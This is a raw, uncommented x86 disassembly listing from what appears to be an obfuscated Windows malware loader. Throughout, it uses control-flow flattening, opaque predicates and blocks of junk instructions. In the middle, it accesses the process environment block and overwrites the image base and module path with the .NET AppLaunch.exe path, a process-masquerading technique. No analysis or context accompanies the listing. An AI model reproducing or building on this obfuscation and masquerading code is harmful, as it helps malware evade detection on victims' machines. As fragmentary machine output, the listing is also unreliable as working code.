xor eax, 0xa0108351
and eax, 0xb110937b
and ecx, 0x4eef6c84
or ecx, eax
mov eax, ecx
xor eax, 0x4ccd6000
xor ecx, 0x9100032b
and ecx, 0x93220faf
and eax, 0x6cddf050
or eax, ecx
cmp eax, 0x6cddf050
mov eax, dword [0x497384]
setne byte [ebp - 0x97]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
mov esi, ecx
or edx, 0xa710b8be
and esi, 0xa710b8be
and ecx, 0xc404e55f
mov edi, eax
and edi, 0x58ef4740
and edx, 0xa710b8bf
and eax, 0x3bfb1aa0
or edi, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x3bfb1aa0
mov edi, esi
and edi, 0xc404e55f
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0xc743d048
setne ah
sete dl
cmp dword [0x497380], 0xa
setl al
setge cl
mov ch, al
or al, dl
xor ch, dl
xor al, 1
or al, ch
mov ch, cl
and cl, dl
inc ch
and ch, ah
or cl, ch
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, edx
xor dl, 1
and cl, al
xor al, 1
and dl, al
mov al, ah
or dl, cl
mov ecx, 0x6139ef6c
xor al, dl
test ah, ah
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x6139ef6c
jmp 0x402777
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
inc eax
mov dword [ecx], eax
mov eax, 0xe7d71c98
jmp 0x402780
mov eax, dword [0x497384]
mov esi, 0x97778ee
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xc9d0428d
mov eax, ecx
and eax, 0xc9d0400c
and edx, ecx
not ecx
and ecx, 0x281
or eax, ecx
xor eax, 0xc9d0400c
or eax, edx
not edx
and edx, 0x362fbd72
and eax, 0xc9d0428d
or eax, edx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xea1d91e6
and eax, 0x15e26e19
or eax, edx
xor eax, 0x15e26e18
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7e37af65
and ecx, 0x81c8509a
or eax, ecx
mov ecx, eax
xor ecx, 0xe350501
xor eax, 0x80801000
and eax, 0xf082ba64
and ecx, 0xf7d459b
or ecx, eax
xor ecx, 0xf082ba64
sete dl
setne ah
cmp dword [0x497380], 0xa
setge cl
setl al
and ah, al
and cl, dl
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x3fceb2e2
cmovne ecx, esi
test al, 1
mov eax, 0x3fceb2e2
jmp 0x40f68a
mov eax, 0x8da3feb6
jmp 0x402780
mov eax, 0x3fceb2e2
jmp 0x402780
mov eax, dword [ebp - 0x24]
mov eax, 0x6b77b81f
jmp 0x402780
bswap ebx
or ebx, 0xa9
neg eax
not ebx
add eax, 0x95
rcl ebx, 0x4b
inc edi
dec eax
bswap eax
bswap esi
or ebx, 0xf2
bswap eax
mov ebx, 0x21
not edx
or edi, 0x65
rol edx, 0x29
not edi
dec edx
rcr esi, 0x94
imul eax
inc edx
sbb edi, 0x74
dec edi
imul edx
imul esi
bswap ebx
rcl edx, 0x89
dec esi
imul ebx
or edi, 0xd3
rcl edx, 0x3d
not eax
or edi, 5
mov esi, 0x5f
and edi, 0xf8
inc edi
rcr eax, 0x1a
inc ebx
not ebx
dec esi
dec edx
imul edx
sub edi, 0x8d
add edi, 0x79
add eax, 0xb0
neg edi
not esi
dec edx
sub edi, 0x8c
imul ebx
sub edi, 0xc5
inc eax
rcr esi, 0x82
inc ebx
rcr ebx, 0xc4
or ebx, 0x2a
rol eax, 0xcd
rol edi, 0xbb
sbb edx, 0x48
and esi, 0x96
ror edi, 0x3f
dec ebx
mov eax, 0x7b
dec ebx
and eax, 0x6d
neg eax
rol eax, 0xf
sbb eax, 0x95
or edi, 0xee
or edi, 0x27
not edi
bswap esi
bswap eax
bswap eax
sub edi, 0xe8
not edx
rcr ebx, 0xf5
and edi, 0xd7
or edi, 0xed
bswap edi
inc esi
not ebx
sbb eax, 0x4e
rol esi, 0x7d
rcl edi, 0x1f
mov edx, 0x5f
ror edx, 0x67
inc esi
rol eax, 0x24
neg esi
dec esi
imul edi
or esi, 0xd5
rcl eax, 0x2f
sbb edi, 0x23
not edi
sub edi, 0x70
or eax, 0x5c
rcl edx, 0x3e
dec ebx
imul edi
bswap eax
or edi, 0xaa
imul edi
imul edx
imul edi
not edi
not ebx
inc eax
rcr edx, 0x7f
sbb esi, 0x7c
mov eax, 0x4c
dec ebx
dec esi
inc esi
bswap edx
rol edx, 0xae
sbb ebx, 0xfb
bswap eax
sbb edx, 0x26
add ebx, 4
dec eax
rcl ebx, 0xdc
inc ebx
rcl edi, 0xb8
dec ebx
inc edx
imul edx
sbb edi, 0xc8
imul edi
dec edi
imul edi
rol edi, 0xd1
inc eax
and eax, 0x15
bswap esi
and esi, 0xff
add esi, 0xeb
imul edi
imul esi
rcr edx, 0x82
dec eax
or esi, 0xe7
inc eax
rcl edx, 0x2f
ror edx, 0xb7
and edi, 0x46
add ebx, 0x56
add edi, 0xc1
dec edx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, 0x53f81565
jmp 0x402780
mov eax, 0xbab28562
jmp 0x402780
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x12c]
mov eax, dword [0x497384]
lea ecx, [eax + 1]
setl byte [ebp - 0x8f]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 1
mov edi, edx
mov esi, eax
and esi, 0x623f0267
and edi, 0x9dc0fd98
and edx, 0xe1447a47
or edi, esi
mov esi, ecx
xor esi, 0xfffffffe
and esi, ecx
and ecx, 0x1ebb85b8
mov ebx, esi
not ebx
and esi, 0x9dc0fd98
or ecx, edx
or eax, ebx
and ebx, 0x623f0267
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0xa38cc47a
and esi, 0x5c733b85
or esi, edx
mov edx, ecx
xor edx, 0x1c330180
xor ecx, 0xe1447a47
or eax, ecx
and ecx, 0xa38cc47a
and edx, 0x5c733b85
or edx, ecx
not eax
xor edx, esi
mov esi, 0xb4d5cd52
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf95f3b30
and ecx, 0x6a0c4cf
or eax, ecx
xor eax, 0xf95f3b30
sete ch
setne ah
cmp dword [0x497380], 0xa
mov al, ch
setl dl
setge cl
xor al, cl
and ah, dl
and cl, ch
or dl, ch
or cl, ah
mov ch, al
xor cl, 1
xor ch, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov edx, ecx
and cl, ch
xor dl, 1
and al, dl
or al, cl
mov cl, ch
xor cl, dl
or dl, ch
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x7f932d34
cmovne edx, esi
test al, al
mov eax, 0x7f932d34
jmp 0x411b12
mov eax, dword [ebp - 0x184]
mov ecx, 0xb83dd748
cmp eax, dword [ebp - 0x188]
mov eax, 0x58efb817
cmove eax, ecx
jmp 0x402780
dec edi
or esi, 0xd7
neg esi
and eax, 0x82
rol edi, 0x48
rol eax, 0x71
bswap edx
dec ebx
bswap esi
add esi, 0xab
imul edi
bswap edi
rcl ebx, 0xca
and ebx, 0xd2
sub ebx, 0x88
neg edi
and eax, 5
or edx, 0xe0
dec edi
rcr edi, 0x9a
rol edi, 0x5d
and esi, 0x27
sbb eax, 0xcb
and edx, 0xc4
imul esi
mov edi, 0xc3
neg edi
dec ebx
rcr esi, 0x13
rol edx, 2
rol esi, 0x67
dec eax
bswap edi
rol esi, 0xc2
bswap edi
rcl edx, 0xa
or edi, 0xbb
ror ebx, 0xb5
ror ebx, 0xf5
dec edi
and esi, 9
mov esi, 0x6b
ror ebx, 0x4e
neg edx
or ebx, 0xf2
mov eax, 0xb8
neg ebx
not eax
imul edx
rcr eax, 0x1f
or esi, 0xb8
and ebx, 0xa8
ror ebx, 0xc7
imul esi
bswap edx
bswap esi
sbb edi, 0x68
imul edx
imul edi
imul ebx
dec esi
inc ebx
dec esi
rcr edi, 0xb1
sbb eax, 0x2c
and esi, 0xb7
bswap edi
and ebx, 0x7f
not edi
sbb esi, 0xfd
sbb edi, 0x8c
rol ebx, 0x6f
add ebx, 0xeb
inc ebx
neg edx
bswap edx
or edx, 5
rcr esi, 0x3e
imul ebx
inc eax
rol eax, 0x23
bswap edx
sbb edi, 0xe4
and eax, 0x45
add eax, 0xc5
neg eax
dec eax
add esi, 0xcd
mov ebx, 0xc9
mov edx, 0xdf
neg esi
not ebx
sbb edi, 0xf9
imul eax
rcr edx, 0x99
sbb eax, 0xb0
not esi
sub ebx, 0xb2
bswap esi
bswap edx
not eax
imul esi
bswap edi
dec eax
and esi, 0x6f
rol ebx, 0x81
imul ebx
sbb edi, 0x31
dec esi
mov esi, 0xa3
mov esi, 0xa4
rol eax, 0xe3
imul edx
rcr esi, 2
rcl edx, 0xd6
imul eax
neg esi
rcl edx, 0xf1
rol eax, 0x99
add esi, 0xbd
rcr edi, 0x50
and esi, 0x8b
neg esi
rol edi, 0x31
add edx, 0xba
rcr edi, 0x58
not ebx
or esi, 0x21
and ebx, 0xc9
or edx, 0x16
bswap esi
dec edx
or edx, 0x1a
not ebx
mov eax, 0xe4
sub esi, 0x76
sub ebx, 0x38
rcl edi, 0x45
sbb esi, 0xac
dec edi
or eax, 0xce
neg eax
inc edi
inc eax
sub edx, 0x7e
inc eax
neg esi
or edi, 0xb7
add edx, 0x8f
and edi, 0xbd
mov ecx, dword [ebp - 0x1c]
vmovups ymm1, ymmword [0x4431b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4431d0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xac]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb0]
add eax, 0xfffffff8
mov dword [ecx], eax
not ebx
or edi, 0xf9
ror edx, 0x41
ror esi, 0x4a
sbb ebx, 0xde
sbb ebx, 0xdd
sub esi, 0xb9
imul edi
sbb edx, 0xa4
and edx, 0xbc
imul edx
neg esi
dec esi
sub ebx, 0x99
inc edi
imul esi
ror edx, 0x51
mov ebx, 0xa2
dec edx
neg eax
neg esi
ror eax, 0x7e
inc esi
ror ebx, 0xc1
sub edi, 0xb
imul eax
add esi, 0x8c
neg esi
neg edi
rcl edi, 0x4b
inc edi
or ebx, 0xa6
add edi, 0x32
dec edi
neg edx
rcr esi, 0xbf
sub eax, 0xd9
not edx
rol eax, 0x5b
add edx, 0x14
bswap ebx
add edi, 0x16
inc eax
mov edi, 0xad
neg esi
neg edx
rcl eax, 0xb8
neg ebx
neg esi
mov edx, 0xd5
dec edi
rol edx, 7
ror eax, 0xe4
sbb eax, 0x84
or edi, 0x19
bswap edx
rcl eax, 0xa9
rol edi, 0xeb
bswap eax
neg edx
bswap edx
mov edi, 0x20
ror edx, 0x40
bswap edx
rol eax, 0xd9
ror edi, 0x95
dec esi
neg eax
rol esi, 0x53
or eax, 0xcf
mov eax, 0xdb
or edi, 0x23
mov ebx, 0x3f
add ebx, 0xa6
sub eax, 0xa3
neg edx
bswap edx
inc edi
sub edx, 0xa9
rcr edx, 7
rol ebx, 0xa0
sbb edi, 0x37
rcr edx, 0x32
neg edx
dec edx
and ebx, 0xd
add esi, 9
inc edx
sbb esi, 0xa2
not eax
imul eax
neg ebx
sbb ebx, 0x51
sbb edi, 0xd
and edx, 0x87
mov esi, 0xfa
or ebx, 0xf2
rol edx, 0xfd
neg edx
and edx, 0x89
add edi, 0x1b
or eax, 0x4f
inc edx
dec eax
not esi
inc edx
add edx, 5
dec edx
sbb esi, 0xa5
imul ebx
sbb ebx, 0x87
and edx, 0x7d
bswap esi
sub ebx, 0xe4
imul edi
bswap ebx
or esi, 0xb7
imul eax
imul edi
bswap esi
neg edi
or edi, 0x31
neg edx
mov esi, 0x58
inc eax
sbb eax, 0x41
sbb esi, 0x6b
bswap esi
or edi, 0xf1
ror edi, 0x8d
or edx, 0x16
or edx, 0x7b
or edi, 2
not ebx
rcr ebx, 0x10
imul ebx
rcr eax, 0x8d
dec ebx
bswap ebx
mov edi, 0xca
ror eax, 0xed
rcl edx, 0xc1
neg ebx
sub edi, 0x65
imul ebx
add esi, 0x28
add eax, 0x7c
ror edx, 0xd8
sbb eax, 0xd7
sub ebx, 0xb1
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xac]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
add eax, 0x24
mov dword [ecx], eax
rcl ebx, 0x85
rol edi, 0xc4
and edx, 0xd2
rol edi, 0xb7
and eax, 0xa4
rcr edi, 0xf4
bswap edx
not ebx
dec eax
dec ebx
sbb esi, 0x61
not eax
sbb eax, 0x87
inc esi
imul edx
imul edx
rcl ebx, 0x47
not eax
ror eax, 0x3e
sbb esi, 0xb6
and edx, 0x2b
not ebx
sub edi, 0xfc
sbb edx, 0x31
add edi, 0xf3
sbb eax, 0x61
mov edx, 0xf6
dec ebx
or edi, 0x5d
not esi
imul ebx
sub eax, 0x6d
dec edx
neg esi
and eax, 0x47
mov edx, 0x9a
rcr ebx, 0x9d
not eax
sbb edi, 0xa
dec esi
ror eax, 0x5d
or esi, 0x72
add edx, 0x19
ror ebx, 0xe6
bswap ebx
and edx, 0xa4
bswap esi
or eax, 0x6d
inc edi
bswap edx
add esi, 0xb8
add eax, 0xe
neg eax
neg ebx
ror edi, 1
dec edx
sub edx, 0x24
inc esi
and esi, 0x80
and eax, 0xeb
neg esi
ror esi, 0xcc
neg esi
or edx, 0x8c
neg esi
bswap edi
dec eax
inc ebx
bswap ebx
add ebx, 0x22
and eax, 0xfc
bswap edx
imul edi
rcl edi, 0x93
inc ebx
sub ebx, 0x40
mov edx, 0x41
rcr edx, 0x33
not ebx
imul eax
neg ebx
mov eax, 0x52
bswap eax
neg ebx
and ebx, 0xf4
add edx, 0xd3
dec eax
inc esi
imul edi
rcl eax, 0x5b
sbb eax, 0xbd
imul ebx
rcr edx, 0x8e
rcl ebx, 0x18
inc eax
mov edx, 0x90
or ebx, 0xc1
inc edx
inc edx
imul edx
dec edx
rcr edx, 0xad
sub ebx, 0x27
rol edi, 7
ror edi, 0xdf
inc edx
inc ebx
inc ebx
not eax
not esi
rcr ebx, 0x1b
rcl eax, 0x8d
sbb edx, 0xc8
rol eax, 0xbf
not ebx
neg eax
dec edx
inc esi
bswap esi
rcr esi, 0x9f
sbb ebx, 0xfd
mov esi, 0x2b
neg esi
and edi, 0xfd
dec edi
add eax, 0xaa
add esi, 0x55
neg edi
rol edi, 0x74
rol edx, 0xe1
not eax
bswap ebx
ror edx, 0x1e
inc edx
neg edi
ror edx, 0x9d
rcr ebx, 0xd
dec edi
sub esi, 0x78
not edx
dec eax
add ebx, 1
ror eax, 0x79
not edx
imul edi
rol ebx, 0x37
or edx, 0x9a
bswap edi
ror esi, 0x82
ror edx, 0x89
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb4]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4431e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x78]
setne byte [eax]
mov eax, 0xa6426a4c
jmp 0x402780
mov eax, dword [ebp - 0x48]
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
xor esi, 0x5c023cee
mov edi, ecx
or edi, 0xa3fdc311
and esi, ecx
mov eax, esi
not eax
and esi, 0x1adcbf18
mov edx, eax
and edx, 0xe52340e7
or eax, edi
and edi, 0xe52340e7
or esi, edx
mov edx, ecx
not edx
not eax
or ecx, 1
mov ebx, edx
and ebx, 0x18003c08
and edx, 0x4a48053a
or ebx, edi
xor ebx, esi
or eax, ebx
mov esi, eax
not esi
and eax, 0xa00d1450
and esi, 0x5ff2ebaf
or eax, esi
mov esi, eax
xor esi, 0x2400500
xor eax, 0xfc0f28bf
mov edi, eax
or eax, ecx
and ecx, 0xb5b7fac5
and edi, 0xb5b7fac5
and esi, 0x4a48053a
or esi, edi
or edx, ecx
not eax
xor edx, esi
mov esi, 0xe74a61d1
or eax, edx
mov edx, eax
xor edx, 0xe1a374cd
mov ecx, eax
and ecx, 0x2002300d
and edx, eax
not eax
and eax, 0xc1a144c0
or ecx, eax
xor ecx, 0x2002300d
or ecx, edx
not edx
and edx, 0x1e5c8b32
and ecx, 0xe1a374cd
or ecx, edx
sete dl
cmp dword [0x497380], 0xa
mov ecx, edx
setge ah
setl al
xor cl, al
or al, dl
xor dl, ah
and dl, ah
and al, cl
xor cl, 1
xor dl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0xf371c15d
cmovne ecx, esi
test dl, 1
mov edx, 0xf371c15d
cmovne edx, ecx
test al, 1
jmp 0x412de5
mov eax, dword [ebp - 0x14]
mov eax, 0x5d38ab47
jmp 0x402780
mov eax, 0x554d0294
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xe119c828
and ecx, 0x1ea217c7
and eax, 0x442010
or edx, eax
xor edx, 0xe119c828
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x4ef59c53
and eax, 0xb10a63ac
or ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x50578b94
xor ecx, 0x3308254b
xor eax, 0xafa8746b
and ecx, esi
or esi, 0x9ca05120
mov edx, ecx
not edx
and ecx, 0xb40df590
mov edi, edx
and edi, 0x4bf20a6f
or edx, esi
and esi, 0x4bf20a6f
or ecx, edi
mov edi, eax
and edi, 0x200da490
not edx
and eax, 0xfffffffe
or edi, esi
mov esi, 0xf9a6544f
xor edi, ecx
or edx, edi
mov ecx, edx
not ecx
and edx, 0xb2ac0a38
and ecx, 0x4d53f5c7
or edx, ecx
xor edx, 0x2e0c5b19
or eax, edx
mov ecx, eax
not ecx
and eax, 0x2b2c48a0
and ecx, 0xd4d3b75f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfb5e7669
and ecx, 0x4a18996
or eax, ecx
xor eax, 0x2f8dc136
setne ch
sete dh
cmp dword [0x497380], 0xa
mov al, ch
mov cl, dh
setge dl
setl ah
xor al, dl
or cl, dl
and al, dl
mov ebx, ecx
xor al, 1
xor bl, al
or al, cl
mov cl, ah
xor ah, dh
and dh, dl
or dl, ch
and cl, ch
xor dl, 1
xor al, 1
or cl, dh
or dl, ah
or al, bl
xor cl, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
mov ah, cl
xor dl, cl
and cl, al
and dl, al
xor ah, 1
xor al, 1
and al, ah
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x20a2dafa
cmovne eax, esi
test cl, 1
mov ecx, eax
cmovne ecx, esi
test dl, 1
jmp 0x402777
mov eax, dword [0x497384]
mov esi, 0x118cb4c6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0x94d581db
and eax, 0x6b2a7e24
or eax, ecx
xor eax, 0x6b2a7e25
or eax, edx
mov ecx, eax
xor ecx, 0xccc2c00c
mov edx, eax
and edx, 0x4c42400c
and ecx, eax
not eax
and eax, 0x80808000
or edx, eax
xor edx, 0x4c42400c
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x2d54f916
and eax, 0xd2ab06e9
or ecx, eax
mov eax, ecx
xor eax, 0x4194211a
xor ecx, 0x186140a0
and eax, 0x479ca75f
and ecx, 0xb86358a0
or ecx, eax
xor ecx, 0xb86358a0
sete dl
setne ch
cmp dword [0x497380], 0xa
setl cl
setge al
mov ah, cl
or al, dl
xor ah, ch
or ch, cl
or cl, dl
xor al, 1
mov dl, ah
xor ch, 1
xor dl, cl
or cl, ah
or al, ch
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
mov cl, ah
xor dl, 1
xor cl, al
or dl, ah
or ah, al
xor ah, 1
xor dl, al
or ah, cl
mov ecx, 0x81986a91
mov al, ah
xor al, dl
test ah, 1
cmovne ecx, esi
test dl, 1
cmove ecx, esi
test al, 1
mov eax, 0x81986a91
jmp 0x402777
mov eax, 0x8f0fe5df
jmp 0x402780
mov eax, 0xb73bbbc2
jmp 0x402780
mov eax, 0xa9eabfab
jmp 0x402780
mov eax, 0x89b7b301
jmp 0x402780
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov dword [eax], 0
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 1
mov esi, ecx
and esi, 0xfffffffe
and ecx, 0xd94dd00d
or eax, esi
mov esi, eax
not esi
mov edi, eax
or eax, edx
and edx, 0x26b22ff2
and edi, 0x26b22ff2
and esi, 0xd94dd00d
or ecx, edx
not eax
or esi, edi
xor ecx, esi
mov esi, 0xe9aa2f24
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x1752c1e5
and ecx, 0xe8ad3e1a
or eax, ecx
xor eax, 0x1752c1e5
setne al
sete cl
cmp dword [0x497380], 0xa
setl dl
mov ah, dl
xor al, dl
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
not dl
or cl, ah
mov ah, cl
and dl, cl
or cl, al
not ah
and al, ah
or al, dl
mov edx, ecx
xor dl, al
mov edx, 0x99cbd793
cmovne edx, esi
test al, al
mov esi, 0x99cbd793
mov eax, edx
cmovne eax, esi
test cl, cl
cmovne eax, edx
jmp 0x402780
mov eax, dword [ebp - 0x6c]
mov eax, 0xebe95bbf
jmp 0x402780
mov eax, 0xa9e24ef7
jmp 0x402780
mov eax, dword [ebp - 0x54]
mov edi, 0x14fadd7a
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x40]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x13c]
mov dword [eax + ecx*4], edx
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0xac1c0438
mov esi, edx
and esi, 0xfffffffe
and edx, 0x53e3fbc7
or ecx, esi
or eax, edx
mov edx, ecx
not edx
and ecx, 0x384862a5
mov esi, edx
and esi, 0xc7b79d5a
or ecx, esi
mov esi, eax
xor esi, 0x28080020
xor eax, 0x43a39942
and eax, 0xc7b79d5a
and esi, 0x384862a5
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0xa644ecc9
sete al
setne dl
cmp dword [0x497380], 0xa
setl ah
mov cl, ah
mov ch, ah
or cl, al
xor al, ah
xor ch, dl
or dl, ah
and al, ah
xor ch, 1
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor cl, 1
xor ah, dl
xor al, 1
mov edx, 0xa644ecc9
or al, ah
xor al, cl
mov ah, al
test al, 1
not ah
cmovne edx, edi
test ah, cl
cmove edx, esi
test al, 1
cmovne edx, edi
test ah, cl
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x84]
cmovne edx, edi
mov eax, edx
jmp 0x402780
cmp byte [ebp - 0x99], 0
mov eax, 0x2f2d2e96
mov ecx, 0x768ea614
cmovne eax, ecx
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
xor esi, 0xb5dc1d79
andn edx, ecx, esi
and esi, ecx
mov eax, esi
mov ebx, edx
not eax
not ebx
and esi, 0xc08a8c90
and edx, 0xc08a8c90
mov edi, eax
or eax, ebx
and edi, 0x3f75736f
and ebx, 0x3f75736f
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, ecx
not esi
and ecx, 0x336c5d16
or eax, edx
and esi, 0xcc93a2e8
mov edx, eax
not edx
and eax, 0xd53dae8c
or ecx, esi
and edx, 0x2ac25173
or eax, edx
mov edx, eax
xor edx, 0x97064c00
xor eax, 0x60e1b3f4
mov esi, eax
and esi, 0x289980af
and edx, 0xd7667f50
or edx, esi
mov esi, ecx
xor esi, 0x13645d10
xor ecx, 0xcc93a2e9
or eax, ecx
and ecx, 0x289980af
and esi, 0xd7667f50
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xc8996a1f
mov ecx, eax
not ecx
and eax, 0x7d4577ac
and ecx, 0x82ba8853
or ecx, eax
mov eax, ecx
xor eax, 0x82a20842
xor ecx, 0x740466a8
and ecx, 0x741ce6b9
and eax, 0x8be31946
or eax, ecx
mov ecx, eax
xor ecx, 0x701c4621
xor eax, 0xbc21944
and eax, 0xfc2b9dc
and ecx, 0xf03d4623
or ecx, eax
xor ecx, 0xf03d4623
setne al
sete cl
cmp dword [0x497380], 0xa
mov ch, al
setl dl
setge ah
inc ch
and ah, cl
mov cl, dl
or ch, dl
and cl, al
xor al, dl
mov edx, eax
or al, ch
or cl, ah
xor dl, ch
xor al, 1
or al, dl
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x53f81565
cmovne eax, esi
test cl, 1
mov ecx, 0x53f81565
cmovne ecx, eax
test dl, dl
jmp 0x402777
mov eax, dword [ebp - 0x48]
mov dword [eax], 0x40
mov eax, 0xe4a1df4b
jmp 0x402780
mov eax, dword [ebp - 0x158]
mov ecx, dword [eax + 0xc]
add ecx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0xdc], eax
mov eax, 0xa348f1a0
mov edx, dword [ebp - 0x154]
mov dword [ebp - 0xd8], edx
nop word [eax + eax]
cmp eax, 0xa348f1a0
je 0x40de44
cmp eax, 0x366ed480
je 0x412e19
cmp eax, 0x53d8068
jne 0x40dc90
neg edi
rol eax, 0xc0
not esi
rcl ebx, 0xe0
imul ebx
bswap ebx
not esi
not edi
sbb eax, 0x29
sub eax, 0x74
bswap edi
dec eax
rol ebx, 0x80
neg ebx
sub edx, 0x7b
ror edx, 0x47
inc edx
not eax
inc ebx
ror edi, 0x9c
rcr eax, 0xd1
add esi, 0x44
ror eax, 0xac
mov esi, 0x79
dec esi
not edx
bswap eax
inc edi
and esi, 0x70
or edi, 0x43
imul esi
rcr eax, 0xae
not ebx
imul eax
bswap esi
imul edi
rcl esi, 0xca
neg esi
or eax, 0xc4
inc esi
sub ebx, 0x49
not edx
inc edi
neg eax
sbb ebx, 0xc6
not edi
not eax
rcr edi, 0xec
dec esi
or eax, 2
imul edi
not eax
neg eax
or esi, 0x56
add esi, 0xc1
ror esi, 0x99
bswap ebx
inc ebx
inc edx
neg edi
and ebx, 0x9e
mov ebx, 0xde
ror esi, 0x2f
inc edi
mov esi, 0xb0
rol esi, 0x4e
not esi
inc ebx
sub eax, 0xe
not edi
inc edx
dec edi
not edx
sbb esi, 0x11
rol ebx, 0x8c
not eax
neg eax
neg ebx
rcr edx, 0x80
inc ebx
dec ebx
not ebx
and edx, 0xb1
bswap eax
neg ebx
imul esi
dec eax
or edx, 0xa4
inc eax
sbb eax, 0x6d
mov eax, 0x71
imul eax
sub edi, 0xef
neg ebx
sbb esi, 0x59
imul ebx
or edi, 0x1e
or eax, 0xf6
mov edx, 0xb0
dec edi
imul ebx
not ebx
rcl esi, 0x64
rcr eax, 0x44
inc ebx
not eax
imul edx
ror ebx, 0x99
imul esi
rcl eax, 0x2c
neg ebx
rcr eax, 0x1f
sbb ebx, 0x53
imul edi
or edi, 0x17
mov eax, 0xb3
sbb ebx, 0xc
dec eax
bswap edi
or edi, 0xa4
inc ebx
imul ebx
bswap eax
rol esi, 0x5d
and ebx, 0xe8
dec ebx
dec edi
rcl edx, 0x4a
or ebx, 0xe4
rcl eax, 0x61
neg edi
and esi, 0xed
bswap esi
add edx, 0xf8
